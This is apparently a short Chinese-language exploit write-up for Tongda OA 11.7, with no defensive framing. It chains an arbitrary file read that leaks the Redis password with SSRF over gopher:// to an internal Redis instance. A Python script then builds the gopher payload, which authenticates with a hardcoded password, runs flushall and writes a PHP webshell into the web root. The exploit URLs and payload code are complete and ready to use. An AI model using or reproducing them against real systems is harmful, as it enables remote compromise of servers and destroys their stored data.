通达OA11.7 SSRF+Redis getshell
1.如果得到管理员cookies就可以直接读取redis数据库配置文件
IP/general/approve_center/archive/getTableStruc.php
可以得到路径,以D:/MYOA为例
2.利用任意文件读取
IP/ispirit/im/photo.php?AVATAR_FILE=D:/MYOA/bin/redis.windows.conf&UID=2
这里uid是几好像不重要
读取到redis的ip、端口, 密码(requirepass)。
3.ssrf和gopher协议
IP/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=gopher://127.0.0.1:6399/
url传gopher需要两次url加密(具体见下),每次换行后面都需要特别加\r\n
,第一个字符传不过去所以加_
exp
生成payload
import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6399"
shell = "\n\n<?php file_put_contents('./1234.php',$_SERVER[HTTP_USER_AGENT]);?>\n\n"
#写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
filename = "wzz.php"
path = "D:\MYOA\webroot"
passwd = r"t5Jz5nAAw9LJak4cMu407"#redis密码
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))